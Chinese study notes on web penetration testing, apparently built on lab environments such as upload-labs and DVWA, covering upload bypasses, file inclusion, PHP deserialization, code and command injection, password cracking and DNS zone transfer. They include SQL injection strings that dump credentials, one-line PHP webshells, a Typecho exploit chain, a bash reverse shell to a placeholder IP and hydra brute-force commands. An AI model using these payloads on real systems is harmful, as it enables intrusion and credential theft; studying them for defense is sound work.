<?php ·········>
其他方法:可以在图片属性的详细信息的版权位置写上木马程序。也可以用一些小工具来生成,如:edjpgcom.exe。
图片木马后缀如果不改后缀,就不会执行,但可以利用其他漏洞共同完成(例如数据库备份,重命名图片木马)
00就是null(空)字符,url编码为%00,00截断会导致文件上传路径阶段。也可以利用此绕过后缀名限制。
**示例;**以十一关为例
漏洞描述:服务器会将上传的文件重命名,若我们想要上传自定义的文件,则需要修改HTTP包中 save_path 变量,并使用%00截断后面命名的文件路径。
示例:save_path=···/upload/test.php%00
.htaccess 是Apache 服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及子目录。
如果一个web应用允许上传.htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这个是十分危险的,.htaccess 攻击想象空间非常大。
首先查看Apache 的配置。看是否允许 .htaccess 文件覆盖掉Apache 的配置:
配置文件:.htaccess.conf:<Directory “C:\upload-labs-env\····”>下
Alloworerride ALL #允许 .htaccess 覆盖掉Apache全局配置文件
.htaccess文件配置
将.png文件当作php文件解析
将以下代码写入文件,保存为 .htaccess 名字的文件,上传到目标服务器。会将 .png 文件当作 .php文件执行,实现图片木马的执行(可以直接访问 .png文件)
AddType application/x-httpd-php .png
文件名中包含 .php关键字
当文件名“info.php.png" 中包含 .php 关键字,并且 .htaccess 文件内容如下,info.php.png 文件中的代码将会被执行。
AddHandler php5-script php
匹配文件名
以下配置为匹配文件名为“test",找到该文件,并执行其中php代码
<FilesMatch “test”>
SetHandler application/x-httpd-php
**示例:**以第五关为例
先上传“.htaccess"文件,在上传test文件
web容器解析漏洞,就是web容器在脚本出现bug
例:第四关 info.php.xxx.xx.x #从后往前识别,直到识别到正确后缀
方法一:.asp;.jpg
示例:
time.asp ==> <%=time()%> #asp语法,显示当前时间
修改名字为 time.asp;1.jpg
方法二:.asp/.jpg
示例:
1.asp/time.jpg
环境:IIS 7.0/7.5 + php 环境
环境搭建:让IIS7.0/7.5支持PHP环境
添加解包 ==> IIS ==> 应用程序开发(包括CGI/ISAPI····) ==> 借用phpstudy中php环境 ==> 处理程序映射 ===> 添加模块映射 ==>请求路径:*.php ==> 模块FastCGmodle ==> 可执行文件:C:\\phpstudy\\php-5.45 ==> libpq.dll 改为 libpq.exe
FastCG2设置: ==> 编辑 ==> 监视对文件的修改 ==> php.ini
#完成后IIS可支持php
示例:准备info.png ,上传
在搜索栏输入地址:http:·····\info.png/.php 。服务器将上传的图片当作php文件执行
防御:在处理映射程序找到CGI映射 --> 编辑 -----> 请求映射 ----> 勾上仅当请······
**注意:**nginx中也存在类似漏洞。
与3类似,该漏洞与php中cgi.fix_pathinfo 选项有关默认值为1,将值改为0,则无此漏洞。
示例:info.png/.php
示例:info.png%00.php
CVE-2103-4745 nginx文件名解析漏洞
示例:
上传info.php文件,抓包后修改为filename=“info.png " #后面加一空格
再次提交抓包改为 filename=“info.php%00…php”
编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。
cms又叫网站内容管理系统,市面上有很多的开源的cms的历史版本中大都存在文件上传漏洞。但是产生文件上传漏洞的原因不尽相同,情景也不似本章中介绍的那么直白。类似的cms有很多。比如常见的dedecms、phpcms 等。
cms示例1
示例环境:南方企业管理系统V.9.0 (古老版本,asp源码)
核心漏洞:利用数据库备份getshell(备份、另存.mdb文件)
思路:先上传小马,利用备份重新命名文件,小马拉大马,getshell·····
利用利用注入点获得后台账号密码
注入点1:/new_seach.asp?key=70%'union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&';otype=title&;submit=%CB%D1%CB%F7
注入点2:/NewsType.asp?smallClass='%20union%20select%20,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and20%''='
上传木马,抓包,改后缀,上传成功,得到上传文件路径
备份上传文件(重命名),访问上传文件
cms示例2
示例环境:metinfov5.04 。php源码,php.ini中记得改时区
代码审计:
变量覆盖漏洞(即已定义的变量,可外部修改。$$key),通过这个漏洞,可以修改web应用参数
根据代码审计,构造文件上传“页面”—利用变量覆盖漏洞
<form
enctype="multipart/from-data"
method="post"
action="http://locahost/metinfov504/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=bbb&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp">
<input type="file" name="Filedata">
<input type="submit" name="submit" value="submit">
</form>
上传文件类型不收限制
前端Javascript校验 - Burp抓包改包绕过
利用缺陷的文件上传验证
黑名单限制 - 利用后端解析差异
.
, 空格
,::$DATA
.
/
进行二次编码,适合验证文件名扩展没有解码,服务端被解码;
,%00
绕过PHP,Java 高级语言编写,服务器使用 C/C++低级函数处理文件差异黑名单过滤后缀 - 通过双写绕过
文件内容检查 - 通过添加允许文件头格式绕过
通过条件竞争实现文件上传
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数时,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在php web Application中居多,在jsp/asp/asp.net等程序中比较少。以下以php为例说明文件包含漏洞。
文件包含是php的基本功能之一,有本地文件包含和远程文件包含之分(虽然php官网不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(利用HTTP、FTP、php伪协议)就可以远程加载文件。我们可以通过php.ini来进行配置。如下:
all_url_fopen=on/off #本地文件包含(LFT),无论开/关都可本地包含
all_url_include=on/off #远程文件包含(RFL),on表示可以使用php为协议远程包含文件,反之不能
文件包含示例:
我们通过以下代码测试文件包含漏洞,准备一个fileinclude.php文件
#该文件会从GET方法获取path变量,也就是文件包含路径,然后包含此文件。
<?php
if(isset($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=info.php"
?>
本地文件包含:通过相对路径找到文件,并包含
远程文件包含:通过绝对路径(网络地址),一般通过HTTP、FTP、为协议远程加载文件
php文件包含程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动包含,就会产生包含漏洞的的风险。如果实现动态包含的参数,在web应用没有进行严格的净化,客户端用户可以影或者控制文件包含路径,就会产生文件包含漏洞。
php提供的文件包含功能十分强大,有以下特点:
空字符安全限制绕过,是php小于5.3.4版本的一个漏洞,CVE编号是CVE-2006-7243这个漏洞就是php接收来自路径名中的空(null)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件拓展名来绕过一起的访问限制,也就是我们之前用过的00截断。00截断攻击也会体现在文件夹中。
web应用在设计的时候,经常会包含模板文件,简单程序如下:
<?php
if(isset($_GET['path'])){
include $_GET['path'].".html";
else{
echo "?path=[path]";
}
?>
这个简单的代码限定了被包含文件的后缀名是html,提交:········/info 将会打开info.html文件。此处我们可以通过00截断来包含任意文件,比如同级目录下inc.php 文件。
示例:http://·······?path=inc.php%00
注意:需要关闭php魔术引号(会自动转义,高版本无):magic_quotes_gpc=off;
我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件:
示例1:读取本地hosts文件
?path=C:\windows\system32\drivers\etc\hosts····
示例2:
?path=..\..\..\·····\windows\system32\dirives\etc\hosts
可以利用文件包含漏洞直接包含图片木马
示例:?path=pngfile.png #包含图片木马后使用webshell工具连接
我们也可以将如下代码写入到图片中
示例:?path= fputs(fopen('sehll.php','w'),"<?php @eval(\$_REQIEST)?>")
该段代码的含义是,在当前目录下创建一个名为“shell.php”的文件,内容为上述一句话木马,当我们直接包含图片的时候,这段代码就会被直接执行。然后使用webshell管理工具连接。
也属于文件包含漏洞利用,需要打开远程包含配置
我们可以使用php的file协议访问本地系统文件,提交参数
示例:?path=file://C:\windows\system32\drivers\etc\hosts
可以使用以下参数来传送任意php文件(php伪协议)
示例:?path=php://filter/read=convert.base64-encode/resource=inc.php
语法解释:filter 过滤
read=convert.base64-encode 读取并base64编码
resource=inc.php 需要传送的文件
**题目:**已知一个网站存在本地文件包含漏洞,没有文件上传API,如何利用?
包含本地日志getshell
日志的路径
通过抓包修改报文注入“小马”
GET /<?php @eval($_REQUEST[777])?> HTTP/1.1
HOST:目标IP
最后使用webshell管理工具连接
包含session文件,造成sessionid泄露
需要知道session文件路径,攻击较复杂
代码审计:
工具:seay源代码审计系统
漏洞点:
示例:(代码审计发现当$module不等于7会初始化,故·····)
http://localhost/about/index…php?fmodule=7&module=任意文件或路径
以下以php为例
定义:将对象的状态信息转换为可以储存的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性储存区。以后,可以通过从存储区读取或反序列化对象状态,重新创建该对象。简单来说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程间跨平台,安全的运行通信。
php反序列化漏洞也叫php对象注入,是一个非常常见的漏洞。这种类型的漏洞虽然有些难以利用,但是一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符进行过滤,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是php特有的,也存在于java、python等语言之中,但其原理基本相通。
php中序列化与反序列化,基本都是围绕serialize()和unserialize()两个函数展开的。在介绍这两个函数前,先看一个简单的例子。
我们可以利用json格式数据的编码与解码,来理解序列化与反序列化的过程。虽然json数据与反序列化漏洞没什么关系,但是这个例子会帮助我们理解。
<?php
$stu=array('name'=>'AJEST','age'=>'18','SEX'=>true,'score'=>89.9);
echo $stu;
echo "<hr />";
$stu_json=json_encode($stu);
echo $stu_json;
?>
#我们定义两个数组,数组属于抽象的数据结构,为了方便跨平台传输,可以将其进行json编码。json格式的数据是以键值对的形式出现的。
序列化会将一个抽象的对象转换为字符串。我们可以写一个demo来说明序列化的过程,首先创建一个类。代码如下。
<?php
class Stu{
public $name;
public $sex;
public $age;
public $score;
}
#类名是Stu,该类中有四个变量,我们将这个类实例化,也就是创建一个对象,并给对象中的变量赋值。
#这段代码写在classStu.php中
?>
<?php
include"classStu.php";
$stu1=new Stu();
$stu1->sex =true;
$stu1->name ="AJEST";
$stu1->age =18;
$stu1->score =89.9;
echo serialize($stu1);
#创建对象$stu,并使用serialize(),将对象序列化成一个字符串。就很容易传输和存储了,如下
# O:3:"stu":4: #O代表Object对象:3对象名中有3个字符对象中有4个变量。
# {S:4:"name";S:S:"AJEST";······}
?>
同样,我们可以使用unserialize()函数,将字符串反序列化为一个对象。由于字符串中含有双引号,所以此处可以使用定界符的方式定义字符串,代码如下:
<?php
include "classStu.php";
$stu1=<<<STR
O:3:"stu":4:{S:"name";S:5:"AJEST";······}
STR;
$stu1=unserialize($stu1);
var_dump($stu1);
#运行这个脚本,我们可以看到反序列化后的对象
?>
#有一个类 <?php Class Test{ public $str='AJEST'; function _destruct(){ @eval($this->str); } } ?> #创建一个对象,并序列化 $test=new Test(); echo serialize($test); =>[O:4:"Test":1:{S:···AJEST···}] #反序列化 var_dump(unserialize($_GET['code'])); #反序列化注入 构造序列化字符[O:4:"Test":1:{S:3:"str";S:10:"phpinfo();"}] 传入code参数 phpifo()函数就将被执行。 注意:由以上代码我们发现php反序列化漏洞需要同其他漏洞配合,比如SQL注入漏洞。
我们注入的字符串“phpinfo()"为什么会作为php语句运行呢?观察代码,发现在类中有一个函数_destruct() 并且这个函数调用的eval语句,执行$this->str变量。为什么 _destruct()函数没有被调用,却被执行了?当我们销毁实例化类时, _destruct()函数会被自动调用。
php中,类中的魔术方法以下划线开头的方法,在特定情况下会被自动调用。
__construct() #在创建对象时自动调用。 __destruct() #在销毁对象时自动调用 __call() #在对象中调用一个不可访问的方法时,__call()会被自动调用 __callstatic() #在静态上下文中调用一个不可访问方法时调用 __get() #读取不可访问属性的值时,__get()会被调用 __set() #在给不可访问属性赋值时,__set()会被调用 __isset() #当对不可访问属性调用isset()或empty()时,会被调用 __unset() #当对不可访问属性调用unset()时,会被调用 __sleep()、serialize() #函数会检查类中是否存在一个魔术方法, #如果存在,该方法会被调用,然后才执行序列化操作 __sleep()、__wakeup() #会检查是否存在一个__wakeup()方法, #存在,则会调用__wakeup()方法,预先准备对象需要的资源。 tostring() #用于一个类被当作字符串时应怎样回应。 __invoke() #当尝试调用函数的调用一个对象时,会被自动调用。 __set_state #自php5.1.0起当调用ver_export()导出类时,此静态方法会被调用。 __clone() #当复制完成时,如果还定义了__clone()方法。则新创建的对象(复制生 #成的对象)中__clone()方法会被调用,可用于修改属性的值(若有必要的 #话)
序列化serialize()
serialize() 函数用于序列化对象或数组,并返回一个字符串。即把一个对象变成可以传输的字符串
示例:
class Test{ public $data="whoami"; } $test=new Test(); //创建一个对象 serialize($test); //把这个对象进行序列化 序列化后得到的结果是这个样子的:O:4:"test":1:{s:4:"data";s:6:"hello";} O:代表object 4:代表对象名字长度为一个字符 test:对象的名称 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度 data:变量名称 s:数据类型 6:变量值的长度 whoami:变量值
反序列化unserialize()
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。,就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
示例:
$u=unserialize("O:4:"test":1:{s:4:"data";s:6:"hello";}");
echo $u->data; //输出打印“whoami"
反序列化漏洞:
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题(当然所有的反序列化不一定都用了魔法函数/魔术方法)
常见的魔术方法
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞示例
class Example { public $data; function __wakeup() { if(isset($this->data)) { eval($this->data); } } } $d=$_GET['test']; unserialize($d); payload:O:7:"Example":1:{s:4:"data";s:17:"system('whoami');";}
对于PHP反序列化来说,一般来说,比较常见的起点是:
_wakeup() 反序列化后,自动被调用
_destruct() 对象被销毁前,被调用
_toString() 对象被当作字符串输出前,被调用
比较常见的中间跳板是:
__toString 当一个对象被当做字符串使用,自动被调用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 t h i s − > this-> this−>func();
<?php class Typecho_feed{ const RSS1='RSS 1.0'; const RSS2='RSS 2.0'; const ATOMI='ATOM 1.0'; const DATE_RFC822='r'; const DATE_W3LDTF='c'; const EOL="\n"; private $_type; private $_items; public function __construct(){ $this->_type=$this::RSS2; $this->_item[0]=array( 'title'=>'1', 'link'=>'1', 'data'=>1508895132, 'category'=>array(new Typecho_Request()), 'author'=>new Typecho_Request(), ); } } class Typecho_Request{ private $_params=array(); private $_filter=array(); public function __construct(){ //$this->_params['ScreenName']='phpinfo()'; $this->_params['ScreenName']="fputs(fopen('shell.php','w'),'<?php @eval(\$_REQUEST[777])')?>"; $this->_filter[0]='assert'; } } $exp=array( 'adapter'=>new Typecho_Feed(), 'prefix'=>'typecho_' ); echo base64_ecode(serialize($exp)); ?>
**注意:**以php相关漏洞为例,解释原理
或者称为php远程代码执行
代码注入是指应用程序过滤不严格用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL注入漏洞,SQL注入是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中,最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在。
代码注入原因总结:
web应用如果存在代码执行漏洞是一个非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承web用户权限,执行任意代码。如果服务器没有正确配置,web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站及服务器。以下以php为例,代码执行漏洞。php中有很多函数和语句都会造成php代码执行漏洞。
注意:部分
eval()函数
eval()函数会将字符串当作php代码执行
示例:
<?php
if (cisset($_GET['code'])){
$code=$_GET['code'];
eval($code);
}else{
echo "please submit code!<br/>?code=phpinfo();";
}
?>
在url中提交变量?code=phpinfo(); 页面将执行该命令
也可?code=${phpinfo()}; 或者?code=1;phpinfo(); 如此可执行多条语句
assert()函数
assert()同样会将字符串作为php代码执行
示例:
···············
assert($code);
················与上面类似,此处省略
preg_replace()函数
preg_replace()函数的作用是对字符串进行正则处理。正则匹配替换参数和返回值如下:
示例:
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int limit=-1[,int $count]])
#这段代码的含义是搜索$subject字符中匹配的#pattern的部分,并用$replacement进行替换,而当$pattern处,即第一个参数存在/e修饰符时,$repalcement的值会被当作php代码来执行。典型代码如下:
示例: 注意:正则表达式中符号需要添加转义符
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
preg_replace("/\[(.*)\]/e",'\\1',$code); #注:\\1表示只匹配第一个出现的
····· #且1会替换匹配字符且命令执行
?>
提交参数示例:?code=[phpinfo()] ==> phpinfo会被执行
call_user_func()函数
cacll_user_func()等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
以call_user_func()为例,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下。
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
······
?>
#提交参数?fun=assert¶=phpinfo()
由于php的特性原因,php的函数支持直接由拼接的方式调用,这导致了php在安全上的控制加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷是一样的,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
·········
?>
注意:eval()是一种结构不是函数,不能用在此处。提交参数?a=assert&b=phpinfo()
代码执行漏洞的利用方式有很多种,以下简单列出几种。
直接获取shell
提交参数?code=@eval($_POST[1]); ,即可构成一句话木马,密码为1,可以使用工具连接
如果目标是linux主机,可以直接反弹shell
php -r
'$sock=fsockopen('x.x..x.x',5555);exec("/bin/bash -i <&3 >&3 2>&3");'
获取当前文件的绝对路径
利用php预定义超全局常量 _ FILE _ ,其含义是当前文件的路径,提交代码?code=print(_ FILE _);
读文件
我们可以利用file_get_contents( )函数读取服务器任意文件,前提是知道目标文件路径和读取权限。
示例:?code=var_dump(file_get_contents(‘c:\windows\system\drivers\etc\hosts’))
写文件
我们利用file_put_contents()函数,写入文件。前提是知道可写目录。
示例:
?code=var_dump(file_put_contents($_POST[1],$_POST[2])); #植入木马
#此时需要借助hackbar通过POST方式提交参数,或者利用burpsuite抓包
示例:POST提交数据如下
1=shell.php&2=<?php phpinfo() ?> #在当前目录创建含phpinfo()的shell.php文件
注意:植入木马是提交数据的前提
**备注:**实战:seacmsv6.26(海洋cms,6.53~6.55都存在代码注入)。调用点?searchtype=5&id=&area=phpinfo( )
程序员使用脚本语言(比如php)开发程序过程中,脚本语言开发十分快速、简洁、方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用,需要去调动一些(系统命令或者exe等可执行文件)外部程序,当应用需要调用一些外部程序时,就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的情况下,就会造成命令执行漏洞。
总结:用户输入作为命令参数与之拼接
没有足够的过滤
**注意:**SQL及其他服务中也存在
system( )
system( )能够将字符串作为OS命令来执行,自带输出功能。测试代码如下:
示例:
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
······
?> 提交参数?cmd=ipconfig
exec( )
exec( )函数能够将字符中os命令执行,需要输出执行结果测试代码如下
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
print exec($_GET['cmd']);
·······
?>
注意:exec()能返回的内容有限,很多时候无法保证返回结果的完整性
shell_exec( )
示例:
print shell_exec($_GET['cmd']);
passthru( )
示例: 注意:该函数自带输出功能
·······
passthru($_GET['cmd']);
······
提交代码?cmd=whoami
popen()
popen()也能够执行os命令,但是该函数并不是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是该命令执行了
示例:
·····
$cmd=$_GET['cmd'].">>1.txt"; #这样执行命令的回显写入了1.txt文件中
popen($cmd,'r');
······
提交代码?cmd=whoami
反引号——使用反引号会将字符串当做OS命令执行
······
cmd=$_GET['cmd'];
print '$cmd';
······
提交代码?cmd=whoami
os命令注入漏洞,攻击者直接继承web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows系统下测试成功。
getshell
远程下载木马文件,反弹shell或者直接在网站目录下写webshell。
查看系统文件
提交参数,示例:查看hosts文件,?cmd=type C:\windows\system32\drivvers\etc\hasts
显示当前路径
提交参数?cmd=cd
写文件
提交参数?cmd=echo “?php phpinfo();?>” > C:\·····\xx.php
若页面无报错,说明文件写入成功,访问xx.php文件
尽量减少命令执行函数的使用,并在disable_functions中禁用。
在进入命令执行的函数或者方法之前,对参数进行过滤。
参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义
注意:
**备注:**实战——DVWA靶场
现在很多地方都以用户名(账号)和口令(密码)作为鉴权的方式,口令(密码)就意味着访问权限。口令(密码)就相当于进入家门的钥匙,当他人有一把可以进入你家的钥匙,后果十分可怕。例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等。
弱口令
类似于123456、654321、admin123等这样常见的弱密码
默认口令
很多应用或系统都存在默认口令。比如phpstudy的mysql数据库默认账号密码“root/root",Tomcat管理控制台默认账密”tomcat/tomact"等。
明文传输
比如http、ftp、telnet 等服务,在网络中的数据流都是明文的,包括口令认证信息等。这些服务有被嗅探的风险。
在线破解方式:账密需要认证
离线破解方式:密文还原明文的过程
利用所有可能的字符组密码,去尝试破解。这是最原始、粗暴的破解方式,根据运算能力,如果能够承受时间成本的话,最终一定会爆破出密码。
crunch 工具
作用:利用字符生成字典,理论上可以生成所有可能的密码字典,但实际上计算机运算能力难以达到。
用法:crunch [密码最小位数] [密码最大位数] [字符集]
示例:crunch 1 8 a.b.c.b········1.2.3.4.5.6.7······
如果能通过比较合理的条件,筛选或者过滤掉一些全字符组合的内容,就会大幅度降低爆破的成本。我们把筛选出的密码组合成特定的字典。在用字典爆破密码也是可以的,但是这样做有可能会漏掉真正的密码。密码字典大致分为以下几类。
弱口令字典
包含一些默认口令或弱口令。
社工字典
人们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合“名字+生日”
社工字典更具与针对性,准确率也比较高。我们可以根据个人信息生成密码字典。
相关工具:
cupp工具
外国人开发的工具,密码逻辑习惯为外国习惯
命令:cupp -i #进入填写信息页面,用以生成字典
亦思社会工程学密码生成器
字符集字典
如果能确定密码的字符集合,也将大大降低爆破的成本。
crunch 工具
能够按照指定的规则生成密码字典,可以灵活的定制自己的字典文件。生成的密码可以输出到屏幕,保存为文件或传到另一个程序。
命令:crunch [min_len] [max_len] [charset string(可能字符)] [options(参数选项)]
特殊字符:% 代表任意数字、^ 代表特殊符号、@ 代表任意小写字母、,代表任意大写字母
**注意:**平时须积累收集一些特殊字典
比如:子域名字典、默认账密字典、文件路径字典(日志文件、目录文件)、常用变量命名字典、常用文件名字典、弱口令字典。
在线远程破解windows系统服务(rdp、smb等)口令
hydra工具
命令: hydra -l 用户名 -p 用户密码 攻击ip端口、服务类型
hydra -L 用户名字典 -P 密码字典 攻击ip端口、服务类型
注意:l、p参数大小写可以混用,字典可以是路径形式。-vV 显示爆破详情(过程)
示例:hydra -l administrator -P winpassword.dic smb://172.16…132.145
其他参数:-o #保存爆破结果
-t #线程数,示例: -t 64
-f #找到正确密码,停止爆破
-e #爆破模式,有三个选项:n:有空密码、s:账密相同、r:账密反向。示例:-e nsr
windows账户hash值破解(本地爆破)
从内存中读取Windows系统密码
我们可以用getpass 直接从windows系统内存中读取用户密码:打开cmd,将getpass拖入,回车
windows hash值破解
首先所使用QuarksPwDump 工具读取(导出)windows账户密码hash值,然后使用john工具破解:打开cmd将工具拖入即可。(john使用请看下文)
远程爆破(属于在线密码攻击)
hydra工具
使用方法,windows爆破有介绍
示例:破解ssh服务
hydra -l root -P [密码文件] [ip地址 ] ssh -f -vV
本地shadow文件破解
获取shadow文件 ==> /etc/shadow
john 工具
windows系统使用:
命令:john 哈希值文件(xxx.hash) --format=NT #默认模式,使用自带字典,较慢
john 哈希值文件(xxx.hash) --format=NT --wordlist=字典(绝对路径) #使用自定义字典
查看爆破结果:john xxxx.hash --show --format=NT
linux系统使用:
命令:john shadow
查看:john --show shadow
破解mssql 口令
示例:hydra -l sa -P /root/test_pwd.dic 10.10.20.87 mssql -vV
破解ftp口令
示例:hydra -L /root/dic/test_user.dic -P /root/test_pwd.dic 10.1020.81 ftp -vV
概念
DNS区域传送漏洞(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个域数据的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送操作,是后果最为严重的错误配置之一。
工具检测
可以使用dig工具来检测域传送漏洞,命令如下:
dig axfr @[本机ip(假设为一台DNS服务器)] [需要测试的域名]
注意:axfr为参数。此外使用vulhub可重现漏洞,此漏洞可获得子域名信息及对应ip地址
解决方法
指定从DNS服务器ip(在主DNS服务器上)
近年来,随着信息化技术的迅速发展和全球一体化进程不断加快,计算机和网络已经成为所有人都息息相关的工具和媒介。网络安全事关国家安全和发展。随着互联网技术+的发展,经济形态不断发生演变。众多传统行业逐步融入互联网并利用信息通信技术以及互联网平台进行着频繁的商务活动。这些平台(如银行、保险、证券、电商、p2p、020、游戏、社交、招聘、航空等)由于涉及大量的金钱、个人信息、交易等重要隐私数据。成为黑客攻击的首要目标,而因为开发人员安全意识淡薄(只注重实现功能而忽略了在用户使用的过程中个人的行为对web应用的业务逻辑功能的安全性影响),开发代码频繁迭代导致这些平台业务逻辑层面的安全风险层出不穷(业务逻辑漏洞主要是开发人员业务流程设计的缺陷。不仅限于网络层、系统层、代码层等比如登录验证的绕过,交易中的数据篡改、接口的恶意调用等,都属于业务逻辑漏洞)
一方面随着社会和科技的发展,购物、社交、p2p、o2o、游戏、招聘等业务纷纷具备了在线支付功能。如电商支付保存了用户手机号、姓名、家庭住址,包括支付的银行卡信息,支付密码信息等,这些都是黑客感兴趣的敏信息。攻击者可以利用程序员的设计缺陷进行交易数据的篡改、铭感信息盗取、资产的窃取等操作。现在的黑客不在以炫耀技能为主要攻击目的,而主要以经济利益为目的。攻击的目的逐渐转变为趋化。
另一方面,如今的业务系统对于传统安全漏洞防护的技术和设备越来越成熟。基于传统漏洞入侵也变得越来越困难,增加了黑客攻击的成本。而业务逻辑漏洞可以逃逸各种安全防护,迄今为止没有很好的解决办法。也是为什么黑客偏好使用业务逻辑攻击的一个原因。
准备阶段主要指对业务系统的前期工作。针对白盒性质的测试,可以结合相关开发文档去熟悉相关系统业务;针对黑盒测试,可通过实际操作还原业务流程的方式理解业务。
业务调研阶段主要针对业务系统相关负责人进行访谈调研,了解业务系统的整体情况,包括部署情况、功能模块、业务流程、数据流、业务逻辑以及现有的安全措施等内容。根据以往测试实验的经验,在业务调研前可先设计访谈问卷,访谈后可能会随着对客户业务系统具体情况了解的深入而不断调整、更新问卷(黑盒测试此步骤可忽略)
针对不同行业、不同平台的业务系统,如电商、银行、金融、证券、保险、游戏、社交、招聘等业务系统,识别出其中的高风险业务场景进行建模。
示例:电商类
在完成前期不同维度的业务流程梳理工作后,针对前台业务应该着重关注用户界面操作的每一步可能的逻辑风险和技术风险;针对后台业务应该着重关注数据安全、数据流转以及处理的日志和审计。
业务风险点的识别主要关注以下安全风险内容
业务环节存在的安全风险
业务环节存在的安全风险指的是业务使用者可见的业务存在的安全风险。如注册、登录和密码找回等身份认证环节,是否存在完善的验证码机制、数据一致性、校验机制、session和cookie校验机制等,是否能规避验证码绕过、暴力解析和SQL注入等漏洞。
支持系统存在的安全风险
支持系统存在的安全风险,如用户访问控制机制是否完整,是否存在水平越权或垂直越权漏洞。系统内加密存储机制是否完善,业务数据是否明文传输。系统使用的业务接口是否可以未授权访问、调用,是否可以重放、遍历接口调用参数是否可篡改等。
业务环节间存在的安全风险
业务环节存在的安全风险,如系统业务流程是否乱序,导致某个业务环节可绕过、回退或某个业务请求可以无限重放。业务环节间使用传输的数据是否有一致性校验机制,是否存在业务数据可被篡改的风险。
支持系统间存在的安全风险
如系统间数据传输是否加密、系统间传输的参数是否可篡改。系统间输入参数的过滤机制是否完善,是否可能导致SQL注入、XSS跨站脚本攻击和代码执行漏洞。
业务环节与支持系统间存在的安全风险
如数据传输是否加密、加密方式是否完善,是否采用前端加密、简单的MD5编码等不安全的加密方式,系统处理多进程并发请求机制是否完整,服务端逻辑与数据库读写是否存在时序问题、导致竞争条件(例如QQ刷钻)漏洞。系统间输入参数的过滤机制是否完整。
对前期业务流程梳理和识别出的风险点,进行针对性的测试。
针对业务安全测试过程中发现的风险结果进行评价和建议。综合评价利用场景的风险程度和造成的影响的严重程度。最终完成测试报告的编写。
业务数据安全
